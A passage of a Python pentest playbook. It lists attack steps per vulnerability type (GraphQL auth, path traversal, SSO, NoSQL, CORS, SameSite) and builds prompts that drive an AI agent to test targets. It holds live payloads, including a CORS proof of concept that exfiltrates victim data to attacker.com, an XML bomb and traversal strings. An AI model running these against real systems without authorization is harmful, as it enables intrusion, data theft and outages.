"threat_model": "Attacker exploits missing or inconsistent field-level authorization in GraphQL to access sensitive data or perform privileged operations.",
|
||
"discovery": ["Introspect schema to find admin/sensitive fields", "Test field access with regular user token", "Check mutation authorization"],
|
||
"test_phases": [{"phase": 1, "name": "GraphQL Authorization Testing", "prompts": [
|
||
"Query sensitive fields with regular user token: {users {id name email role password_hash ssn creditCard admin_notes}}. Check which fields return data vs null/error.",
|
||
"Test admin mutations: mutation {deleteUser(id:\"other_id\"){success}} or mutation {updateRole(userId:\"my_id\", role:ADMIN){role}}.",
|
||
"Test subscription authorization: subscribe to admin-only events with regular user token.",
|
||
"Test deprecated fields: deprecated fields may have weaker authorization (legacy code).",
|
||
"Test nested queries: {publicPost {author {privateEmail}}} — the nested author's private fields may not check authorization.",
|
||
"Test with no authentication: send GraphQL queries without any auth token."
|
||
], "expected_results": ["Sensitive fields accessible to unauthorized users", "Admin mutations executable by regular users"], "decision_tree": {"field_level_bypass": "HIGH - Sensitive data accessible", "mutation_bypass": "CRITICAL - Admin operations available", "properly_authorized": "Authorization checks working"}}],
|
||
"bypass_strategies": ["Query nested relationships to bypass parent authorization", "Use aliases to access the same field with different names", "Fragment-based queries to confuse authorization"],
|
||
"verification_checklist": ["Sensitive data actually returned (not null/masked)", "Admin operations actually executed", "Multiple fields/mutations tested"],
|
||
"chain_attacks": ["GraphQL auth bypass → Data theft", "GraphQL auth bypass → Admin operations"],
|
||
"anti_false_positive": ["Null/masked fields = authorization working", "Must demonstrate actual data access or state change"]
|
||
},
|
||
|
||
"file_download_idor": {
|
||
"category": "authorization",
|
||
"title": "File Download IDOR / Arbitrary File Download",
|
||
"overview": "File download endpoints where file identifiers can be manipulated to download unauthorized files or arbitrary server files.",
|
||
"threat_model": "Attacker manipulates download parameters to access other users' files or download arbitrary server files via path traversal in download endpoints.",
|
||
"discovery": ["Find download endpoints: /download?file=, /api/files/{id}, /export/{filename}", "Test with other users' file IDs", "Test path traversal in filename parameter"],
|
||
"test_phases": [{"phase": 1, "name": "Download IDOR & Path Traversal", "prompts": [
|
||
"Test sequential file IDs: /download?id=100, id=101, id=99. Are other users' files downloadable?",
|
||
"Test path traversal in filename: /download?file=../../../etc/passwd, /download?file=....//....//etc/passwd.",
|
||
"Test with encoded paths: /download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd.",
|
||
"Test file extension manipulation: /download?file=report.pdf → file=report.pdf.bak, file=../config.json.",
|
||
"Check for signed download URLs: can the signature be removed? Can parameters be modified?",
|
||
"Test bulk download: /download?ids=1,2,3,4,5 including unauthorized IDs."
|
||
], "expected_results": ["Other users' files downloaded", "Server files read via path traversal"], "decision_tree": {"arbitrary_file_read": "HIGH - Server files accessible", "other_users_files": "HIGH - IDOR on file downloads", "properly_secured": "Download authorization working"}}],
|
||
"bypass_strategies": ["Path traversal with various encodings", "ID manipulation", "Signature removal/modification", "Bulk download with mixed authorized/unauthorized IDs"],
|
||
"verification_checklist": ["Downloaded file belongs to another user", "File content confirms unauthorized access", "Path traversal yields actual server files"],
|
||
"chain_attacks": ["File download IDOR → PII exposure", "File download traversal → Config files → Credentials"],
|
||
"anti_false_positive": ["404/403 response = authorization working", "Must download actual file content, not error message"]
|
||
},
|
||
|
||
"sso_bypass": {
|
||
"category": "authentication",
|
||
"title": "SSO Bypass / Authentication Relay",
|
||
"overview": "Bypass Single Sign-On by accessing applications directly, manipulating SSO tokens, or exploiting relay/proxy misconfiguration.",
|
||
"threat_model": "Attacker bypasses centralized SSO to access applications without proper authentication, or steals SSO tokens to access multiple applications.",
|
||
"discovery": ["Check if applications can be accessed without going through SSO", "Test SSO token manipulation", "Check for direct authentication endpoints"],
|
||
"test_phases": [{"phase": 1, "name": "SSO Bypass Testing", "prompts": [
|
||
"Access application directly without SSO: try /login, /api/login, /direct-auth endpoints that bypass SSO.",
|
||
"Test SSO token replay: capture valid SSO token, log out, replay the token. Does it still grant access?",
|
||
"Test cross-application token reuse: use SSO token from app A in app B. Does it grant access?",
|
||
"Test SSO callback manipulation: modify the callback URL to receive the token at attacker's server.",
|
||
"Test IdP confusion: if multiple IdPs are supported, use one IdP's token for another IdP's context.",
|
||
"Check for fallback authentication: when SSO is down, does the app fall back to local auth with default/weak passwords?"
|
||
], "expected_results": ["Application accessible without SSO", "SSO token manipulated or replayed"], "decision_tree": {"direct_bypass": "HIGH - Application accessible without SSO", "token_manipulation": "CRITICAL - SSO tokens forgeable", "properly_integrated": "SSO working correctly"}}],
|
||
"bypass_strategies": ["Direct endpoint access", "Token replay", "Callback URL manipulation", "Fallback authentication exploitation"],
|
||
"verification_checklist": ["Full access obtained without proper SSO flow", "Token manipulation grants access to other applications", "Direct auth bypasses SSO enforcement"],
|
||
"chain_attacks": ["SSO bypass → Access all SSO-protected applications"],
|
||
"anti_false_positive": ["Verify SSO is mandatory, not optional", "Direct login may be intentional fallback"]
|
||
},
|
||
|
||
"api_rate_limiting": {
|
||
"category": "logic",
|
||
"title": "API Rate Limiting / Throttling Bypass",
|
||
"overview": "API-specific rate limiting bypass techniques. Test for missing limits on critical endpoints, bypass via header manipulation, and distributed attack patterns.",
|
||
"threat_model": "Attacker bypasses API rate limits to perform brute-force attacks, data scraping, or denial of service against API endpoints.",
|
||
"discovery": ["Test API endpoints for rate limits", "Check for rate limit headers", "Test bypass techniques"],
|
||
"test_phases": [{"phase": 1, "name": "API Rate Limit Testing", "prompts": [
|
||
"Send 100+ requests to login/auth endpoints. Note when rate limiting kicks in (X-RateLimit-Remaining header).",
|
||
"Bypass via IP rotation: X-Forwarded-For: {random}, X-Real-IP: {random}, True-Client-IP: {random}.",
|
||
"Bypass via API key rotation: if API keys are free to create, use a new key for each batch of requests.",
|
||
"Bypass via endpoint variation: /api/v1/login vs /API/V1/LOGIN vs /api/v1/login/ (trailing slash).",
|
||
"Test per-endpoint vs global rate limits: is login limited but password-reset unlimited?",
|
||
"Test concurrent requests: send 100 requests simultaneously before rate limiter can count them."
|
||
], "expected_results": ["Rate limit bypassed", "Brute-force possible", "Different endpoints have different limits"], "decision_tree": {"no_rate_limit": "HIGH - No rate limiting on sensitive endpoint", "bypass_works": "HIGH - Rate limit circumvented", "proper_limits": "Rate limiting working correctly"}}],
|
||
"bypass_strategies": ["IP header rotation", "API key rotation", "Endpoint variation", "Concurrent requests", "Different HTTP methods"],
|
||
"verification_checklist": ["Bypass allows unlimited requests", "Brute-force is practical within bypass", "Multiple bypass techniques tested"],
|
||
"chain_attacks": ["Rate limit bypass → Credential brute-force → Account compromise"],
|
||
"anti_false_positive": ["High rate limit is not same as no rate limit", "Must demonstrate practical attack feasibility"]
|
||
},
|
||
|
||
"graphql_subscription_abuse": {
|
||
"category": "logic",
|
||
"title": "GraphQL Subscription Abuse / WebSocket DoS",
|
||
"overview": "Abuse GraphQL subscriptions for resource exhaustion, unauthorized event listening, or data exfiltration via real-time updates.",
|
||
"threat_model": "Attacker creates many subscriptions consuming server resources, or subscribes to events they shouldn't access.",
|
||
"discovery": ["Check for subscription support in GraphQL", "Test subscription authorization", "Test subscription limits"],
|
||
"test_phases": [{"phase": 1, "name": "Subscription Security Testing", "prompts": [
|
||
"Check if subscriptions are available: subscription {newMessage {content from to}}.",
|
||
"Test subscription authorization: can you subscribe to admin events, other users' messages, or system notifications?",
|
||
"Test subscription flooding: open 100+ WebSocket connections with subscriptions. Does the server handle it?",
|
||
"Test data exfiltration via subscriptions: subscribe to all new records — effectively creating a real-time data dump.",
|
||
"Test subscription to mutations: can you be notified of all data changes across the application?"
|
||
], "expected_results": ["Unauthorized subscriptions work", "Subscription flooding causes DoS"], "decision_tree": {"unauthorized_events": "HIGH - Access to restricted events", "dos_via_subscriptions": "MEDIUM - Resource exhaustion", "properly_limited": "Subscriptions properly authorized and limited"}}],
|
||
"bypass_strategies": ["WebSocket connection pooling", "Subscription to wildcard events", "Authentication bypass in WebSocket upgrade"],
|
||
"verification_checklist": ["Unauthorized data received via subscription", "Resource consumption measured for DoS", "Multiple subscription types tested"],
|
||
"chain_attacks": ["Subscription abuse → Real-time data theft"],
|
||
"anti_false_positive": ["Subscription to own data is expected", "Must demonstrate unauthorized data access"]
|
||
},
|
||
|
||
"dns_rebinding": {
|
||
"category": "request_forgery",
|
||
"title": "DNS Rebinding Attack",
|
||
"overview": "Exploit DNS TTL to switch IP resolution mid-connection. First resolution passes URL validation (external IP), second resolution hits internal IP (127.0.0.1).",
|
||
"threat_model": "Attacker sets up DNS record with low TTL that alternates between external and internal IPs. Application validates URL against external IP, then makes request to internal IP.",
|
||
"discovery": ["Test if URL validation uses DNS resolution", "Check if application respects DNS TTL", "Set up rebinding DNS service"],
|
||
"test_phases": [{"phase": 1, "name": "DNS Rebinding Exploitation", "prompts": [
|
||
"Set up DNS rebinding: domain resolves to external IP first, then 127.0.0.1 second. Tools: rbndr, singularity, rebind.network.",
|
||
"Submit the rebinding domain as SSRF target: url=http://rebind-domain.com. First resolution passes validation, second request hits internal.",
|
||
"Time the rebinding: DNS TTL must be shorter than the application's DNS cache. Try TTL=0 or TTL=1.",
|
||
"Verify internal access: the internal request should access 127.0.0.1 services (metadata, admin panels, databases).",
|
||
"Test multi-request rebinding: some applications resolve DNS multiple times per request cycle."
|
||
], "expected_results": ["DNS rebinding causes internal access", "SSRF URL filter bypassed"], "decision_tree": {"internal_access": "HIGH - Internal access via DNS rebinding", "dns_cached": "Application caches DNS, rebinding blocked", "no_ssrf_endpoint": "Not applicable"}}],
|
||
"bypass_strategies": ["TTL=0 to prevent caching", "Multiple A records alternating", "CNAME to rebinding service", "Race condition between validation and request"],
|
||
"verification_checklist": ["Internal resource accessed after rebinding", "DNS resolution confirmed to change mid-request", "Internal data obtained"],
|
||
"chain_attacks": ["DNS rebinding → SSRF → Cloud metadata → IAM credentials"],
|
||
"anti_false_positive": ["DNS rebinding is complex — verify the internal access, not just DNS resolution change"]
|
||
},
|
||
|
||
"xml_injection": {
|
||
"category": "injection",
|
||
"title": "XML Injection (Non-XXE)",
|
||
"overview": "Manipulation of XML document structure through user input, causing logic changes without external entity processing. Includes XSLT injection, XPath injection via XML, and XML bomb (DoS).",
|
||
"threat_model": "Attacker injects XML tags/attributes to modify document structure, inject additional elements, or cause denial of service via recursive entity expansion.",
|
||
"discovery": ["Identify XML input processing", "Test XML tag injection in parameters", "Check for XSLT processing"],
|
||
"test_phases": [{"phase": 1, "name": "XML Structure Injection", "prompts": [
|
||
"Inject XML closing and opening tags: </name><admin>true</admin><name>test to modify document structure.",
|
||
"Test XML bomb (Billion Laughs): <!ENTITY lol 'lol'><!ENTITY lol2 '&lol;&lol;...'>. Careful: can crash servers.",
|
||
"Test XSLT injection if XSLT processing is used: inject xsl:value-of or xsl:template elements.",
|
||
"Test CDATA injection: <![CDATA[<script>alert(1)</script>]]> in XML fields.",
|
||
"Test XML namespace injection: inject xmlns declarations to confuse XML processing."
|
||
], "expected_results": ["XML structure modified", "XSLT code executed", "DoS via entity expansion"], "decision_tree": {"structure_modified": "MEDIUM - XML logic manipulation", "xslt_execution": "HIGH - Code execution via XSLT", "dos_via_bomb": "MEDIUM - Denial of service"}}],
|
||
"bypass_strategies": ["CDATA sections to bypass encoding", "Namespace manipulation", "UTF-8 BOM injection", "XML comment injection"],
|
||
"verification_checklist": ["Document structure actually changed", "XSLT processing confirmed", "DoS impact measured"],
|
||
"chain_attacks": ["XML injection → Logic manipulation", "XSLT injection → RCE"],
|
||
"anti_false_positive": ["XML parsing error != injection", "Must show structural modification, not just error"]
|
||
},
|
||
|
||
"nosql_injection_blind": {
|
||
"category": "injection",
|
||
"title": "Blind NoSQL Injection",
|
||
"overview": "NoSQL injection where results are not directly visible. Use conditional operators ($regex, $gt, $lt) to extract data character by character.",
|
||
"threat_model": "Attacker extracts data from NoSQL databases using boolean-based or time-based blind techniques, similar to blind SQL injection.",
|
||
"discovery": ["Test boolean differences with NoSQL operators", "Test $regex for character extraction", "Test $where with sleep for time-based"],
|
||
"test_phases": [{"phase": 1, "name": "Blind NoSQL Extraction", "prompts": [
|
||
"Boolean-based: test {\"password\": {\"$regex\": \"^a\"}} through {\"password\": {\"$regex\": \"^z\"}}. Different responses indicate which character matches.",
|
||
"Extract full password: iterate characters: ^a, ^ab, ^abc... until the full value is extracted.",
|
||
"Time-based via $where: {\"$where\": \"if(this.password.charAt(0)=='a') {sleep(5)} else {}\"}. 5-second delay confirms character.",
|
||
"Use $gt/$lt for binary search: {\"password\": {\"$gt\": \"m\"}} → split range → {\"$gt\": \"s\"} → narrow down character.",
|
||
"Extract field names: {\"unknown_field\": {\"$exists\": true}} → iterate common field names."
|
||
], "expected_results": ["Password/data extracted character by character", "Field names enumerated"], "decision_tree": {"data_extracted": "HIGH - Blind NoSQL injection with extraction", "timing_confirmed": "MEDIUM - Time-based confirmed but extraction slow", "no_injection": "NoSQL queries properly parameterized"}}],
|
||
"bypass_strategies": ["$regex for boolean extraction", "$where for JavaScript execution", "$gt/$lt for binary search", "Unicode in regex for bypass"],
|
||
"verification_checklist": ["Extracted data matches expected format", "Consistent boolean/timing differences", "Multiple characters extracted confirming pattern"],
|
||
"chain_attacks": ["Blind NoSQLi → Credential extraction → Auth bypass"],
|
||
"anti_false_positive": ["Response time variance may be network, not injection", "Boolean difference must be consistent across multiple tests"]
|
||
},
|
||
|
||
"cors_null_origin": {
|
||
"category": "infrastructure",
|
||
"title": "CORS Null Origin Trust",
|
||
"overview": "Application specifically trusts Origin: null, which can be triggered from sandboxed iframes, data URIs, or local files. Enables cross-origin data theft.",
|
||
"threat_model": "Attacker creates sandboxed iframe (origin: null) to read cross-origin API responses from the vulnerable application.",
|
||
"discovery": ["Send request with Origin: null", "Check ACAO and ACAC response headers"],
|
||
"test_phases": [{"phase": 1, "name": "Null Origin CORS Exploitation", "prompts": [
|
||
"Send request with Origin: null. If response: Access-Control-Allow-Origin: null + Access-Control-Allow-Credentials: true, null origin is trusted.",
|
||
"Build PoC: <iframe sandbox='allow-scripts allow-forms' src='data:text/html,<script>fetch(\"https://target.com/api/me\",{credentials:\"include\"}).then(r=>r.json()).then(d=>fetch(\"http://attacker.com/steal?data=\"+JSON.stringify(d)))</script>'></iframe>",
|
||
"Verify victim's data is sent to attacker's server.",
|
||
"Test multiple API endpoints for null origin trust."
|
||
], "expected_results": ["Null origin accepted with credentials", "Cross-origin data readable via sandboxed iframe"], "decision_tree": {"data_theft": "HIGH - Cross-origin data theft via null origin", "no_sensitive_data": "LOW - Null origin trusted but endpoints don't return sensitive data"}}],
|
||
"bypass_strategies": ["Sandboxed iframe", "Data URI", "File:// protocol"],
|
||
"verification_checklist": ["ACAO: null with ACAC: true confirmed", "PoC demonstrates actual data theft", "Sensitive data accessible"],
|
||
"chain_attacks": ["Null origin CORS → Cross-origin data theft → Account compromise"],
|
||
"anti_false_positive": ["ACAO: null without ACAC: true = no cookies sent = low impact"]
|
||
},
|
||
|
||
"dependency_confusion": {
|
||
"category": "cloud_supply",
|
||
"title": "Dependency Confusion / Supply Chain Attack",
|
||
"overview": "Exploit package manager resolution to substitute internal packages with malicious public packages. Target internal package names by publishing same-named packages to public registries.",
|
||
"threat_model": "Attacker discovers internal package names and publishes higher-version malicious packages to public npm/PyPI/NuGet. Build systems install the public (malicious) version.",
|
||
"discovery": ["Check for internal package names in package.json, requirements.txt", "Look for @scope-less internal packages", "Check for .npmrc, pip.conf with internal registry"],
|
||
"test_phases": [{"phase": 1, "name": "Dependency Confusion Detection", "prompts": [
|
||
"Analyze package manifests (package.json, requirements.txt, etc.) for internal/private package names that don't exist on public registries.",
|
||
"Check if the build system uses mixed sources (public + private registry) without proper scoping.",
|
||
"For npm: unscoped packages (no @org/ prefix) are vulnerable. Check if internal packages lack @org/ scope.",
|
||
"For Python: check pip.conf for --extra-index-url (adds public PyPI alongside private). --index-url only (safer).",
|
||
"If internal package name found: check public registry — if not claimed, dependency confusion is possible.",
|
||
"Test: create a harmless package with the same name on public registry with a higher version. Does the build system pull it?"
|
||
], "expected_results": ["Internal package names discoverable", "Public registry allows same-name registration"], "decision_tree": {"confusion_possible": "HIGH - Build system would install public package", "scoped_packages": "Protected by package scoping", "private_registry_only": "Build system only uses private registry"}}],
|
||
"bypass_strategies": ["Higher version number overrides", "Pre-release versions", "Platform-specific packages"],
|
||
"verification_checklist": ["Internal package name confirmed", "Public registry accepts same-name package", "Build system would prioritize public version"],
|
||
"chain_attacks": ["Dependency confusion → Malicious code in build → RCE on build server → Supply chain compromise"],
|
||
"anti_false_positive": ["Package name existing on public registry may be coincidence", "Must verify build system actually resolves from public registry"]
|
||
},
|
||
|
||
"graphql_field_suggestion": {
|
||
"category": "data_exposure",
|
||
"title": "GraphQL Field Suggestion Enumeration",
|
||
"overview": "GraphQL servers that suggest valid field names in error messages when introspection is disabled, enabling schema discovery through error-based enumeration.",
|
||
"threat_model": "Attacker enumerates the GraphQL schema by submitting invalid field names and collecting suggestions from error messages, bypassing introspection disabling.",
|
||
"discovery": ["Send query with invalid field: {user{aaaa}}", "Check error message for suggestions: 'Did you mean...'"],
|
||
"test_phases": [{"phase": 1, "name": "Schema Enumeration via Suggestions", "prompts": [
|
||
"Query with invalid field: {user{aaa}}. Check if error contains suggestions like 'Did you mean: address, admin, age?'.",
|
||
"Systematically enumerate: try single characters a-z, common prefixes (pass, admin, role, email, phone, ssn, credit).",
|
||
"For each suggestion received, query it to discover the full schema even with introspection disabled.",
|
||
"Map all types: query {__type(name:\"User\"){fields{name}}} may work even if full introspection is disabled.",
|
||
"Use tools like graphql-cop, clairvoyance for automated field enumeration."
|
||
], "expected_results": ["Schema fields discovered via error suggestions", "Full schema mapped without introspection"], "decision_tree": {"schema_discovered": "MEDIUM - Schema enumerable via suggestions", "no_suggestions": "Field suggestions disabled"}}],
|
||
"bypass_strategies": ["Alphabetic brute-force", "Common field name wordlists", "Partial introspection queries", "Automated enumeration tools"],
|
||
"verification_checklist": ["Suggestions reveal actual field names", "Discovered fields return data when queried", "Schema coverage is meaningful"],
|
||
"chain_attacks": ["Field enumeration → Discover sensitive fields → IDOR or data exposure"],
|
||
"anti_false_positive": ["Field suggestions are a feature, severity depends on what's discoverable"]
|
||
},
|
||
|
||
"samesite_bypass": {
|
||
"category": "client_side",
|
||
"title": "SameSite Cookie Bypass",
|
||
"overview": "Bypass SameSite=Lax cookie protection using GET requests with side effects, method override, or top-level navigation tricks.",
|
||
"threat_model": "Attacker bypasses SameSite=Lax protection to perform cross-site attacks (CSRF-like) by exploiting GET requests with state-changing effects or browser-specific behaviors.",
|
||
"discovery": ["Check SameSite attribute on session cookies", "Find GET endpoints with side effects", "Test method override with GET"],
|
||
"test_phases": [{"phase": 1, "name": "SameSite Bypass Testing", "prompts": [
|
||
"Identify session cookies with SameSite=Lax (default in modern browsers if unset).",
|
||
"Find GET requests with side effects: GET /api/delete?id=123, GET /logout, GET /change-email?email=new@evil.com.",
|
||
"Lax cookies ARE sent on top-level navigations (link clicks, form GET submissions). Exploit this: <a href='https://target.com/delete?id=123'>Click here</a>.",
|
||
"Test method override: <form action='https://target.com/api/update' method='GET'><input name='_method' value='POST'><input name='email' value='evil@evil.com'></form>. If app honors _method, POST action via GET request.",
|
||
"Test 2-minute window: Chrome sends SameSite=Lax cookies on POST top-level navigation within 2 minutes of cookie being set.",
|
||
"Test with window.open(): cookies may be sent in popup navigations."
|
||
], "expected_results": ["State-changing action via GET", "SameSite bypassed via method override"], "decision_tree": {"get_side_effects": "MEDIUM - CSRF possible via GET endpoints despite SameSite", "method_override_bypass": "MEDIUM - SameSite bypassed via method override", "samesite_effective": "SameSite protection working"}}],
|
||
"bypass_strategies": ["GET endpoints with side effects", "Method override (_method parameter)", "Top-level navigation within 2-min window", "Popup/redirect-based attacks"],
|
||
"verification_checklist": ["State-changing action executed cross-site", "SameSite cookie was sent with the cross-site request", "Impact is meaningful (not just read)"],
|
||
"chain_attacks": ["SameSite bypass → CSRF → Account modification"],
|
||
"anti_false_positive": ["SameSite=Lax is partial protection by design — GET side effects are a separate issue", "Must demonstrate actual cross-site state change"]
|
||
},
|
||
}
|
||
|
||
|
||
# ─────────────────────────────────────────────────────────────
|
||
# Helper Functions
|
||
# ─────────────────────────────────────────────────────────────
|
||
|
||
def get_playbook_entry(vuln_type: str) -> Optional[Dict[str, Any]]:
|
||
"""Get the playbook entry for a vulnerability type."""
|
||
return PENTEST_PLAYBOOK.get(vuln_type)
|
||
|
||
|
||
def get_testing_prompts(vuln_type: str, phase: Optional[int] = None) -> List[str]:
|
||
"""Get all testing prompts for a vulnerability type, optionally filtered by phase."""
|
||
entry = PENTEST_PLAYBOOK.get(vuln_type)
|
||
if not entry:
|
||
return []
|
||
prompts = []
|
||
for test_phase in entry.get("test_phases", []):
|
||
if phase is None or test_phase.get("phase") == phase:
|
||
prompts.extend(test_phase.get("prompts", []))
|
||
return prompts
|
||
|
||
|
||
def get_bypass_strategies(vuln_type: str) -> List[str]:
|
||
"""Get bypass strategies for a vulnerability type."""
|
||
entry = PENTEST_PLAYBOOK.get(vuln_type)
|
||
return entry.get("bypass_strategies", []) if entry else []
|
||
|
||
|
||
def get_verification_checklist(vuln_type: str) -> List[str]:
|
||
"""Get verification checklist for a vulnerability type."""
|
||
entry = PENTEST_PLAYBOOK.get(vuln_type)
|
||
return entry.get("verification_checklist", []) if entry else []
|
||
|
||
|
||
def get_chain_attacks(vuln_type: str) -> List[str]:
|
||
"""Get chain attack possibilities for a vulnerability type."""
|
||
entry = PENTEST_PLAYBOOK.get(vuln_type)
|
||
return entry.get("chain_attacks", []) if entry else []
|
||
|
||
|
||
def get_anti_fp_rules(vuln_type: str) -> List[str]:
|
||
"""Get anti-false-positive rules for a vulnerability type."""
|
||
entry = PENTEST_PLAYBOOK.get(vuln_type)
|
||
return entry.get("anti_false_positive", []) if entry else []
|
||
|
||
|
||
def get_all_vuln_types() -> List[str]:
|
||
"""Get all vulnerability types in the playbook."""
|
||
return list(PENTEST_PLAYBOOK.keys())
|
||
|
||
|
||
def get_playbook_summary() -> Dict[str, List[str]]:
|
||
"""Get playbook organized by category."""
|
||
summary: Dict[str, List[str]] = {}
|
||
for vuln_type, entry in PENTEST_PLAYBOOK.items():
|
||
cat = entry.get("category", "uncategorized")
|
||
if cat not in summary:
|
||
summary[cat] = []
|
||
summary[cat].append(vuln_type)
|
||
return summary
|
||
|
||
|
||
def build_agent_testing_prompt(vuln_type: str, target_url: str, parameter: str, method: str = "GET") -> str:
|
||
"""Build a comprehensive testing prompt for the AI agent."""
|
||
entry = PENTEST_PLAYBOOK.get(vuln_type)
|
||
if not entry:
|
||
return f"Test {target_url} parameter '{parameter}' for {vuln_type}."
|
||
|
||
phase_prompts = []
|
||
for test_phase in entry.get("test_phases", []):
|
||
phase_prompts.append(f"\n### Phase {test_phase['phase']}: {test_phase['name']}")
|
||
for i, prompt in enumerate(test_phase.get("prompts", []), 1):
|
||
phase_prompts.append(f"{i}. {prompt}")
|
||
|
||
bypass = "\n".join(f"- {b}" for b in entry.get("bypass_strategies", []))
|
||
checklist = "\n".join(f"- {c}" for c in entry.get("verification_checklist", []))
|
||
anti_fp = "\n".join(f"- {a}" for a in entry.get("anti_false_positive", []))
|
||
|
||
return f"""# {entry['title']} Testing Playbook
|
||
|
||
**Target**: {target_url}
|
||
**Parameter**: {parameter}
|
||
**Method**: {method}
|
||
|
||
## Overview
|
||
{entry['overview']}
|
||
|
||
## Threat Model
|
||
{entry['threat_model']}
|
||
|
||
## Testing Phases
|
||
{''.join(phase_prompts)}
|
||
|
||
## Bypass Strategies
|
||
{bypass}
|
||
|
||
## Verification Checklist
|
||
{checklist}
|
||
|
||
## Anti-False-Positive Rules
|
||
{anti_fp}
|
||
|
||
IMPORTANT: Follow each phase sequentially. Only proceed to the next phase if the decision tree directs you there. Document all findings with concrete proof.
|
||
"""
|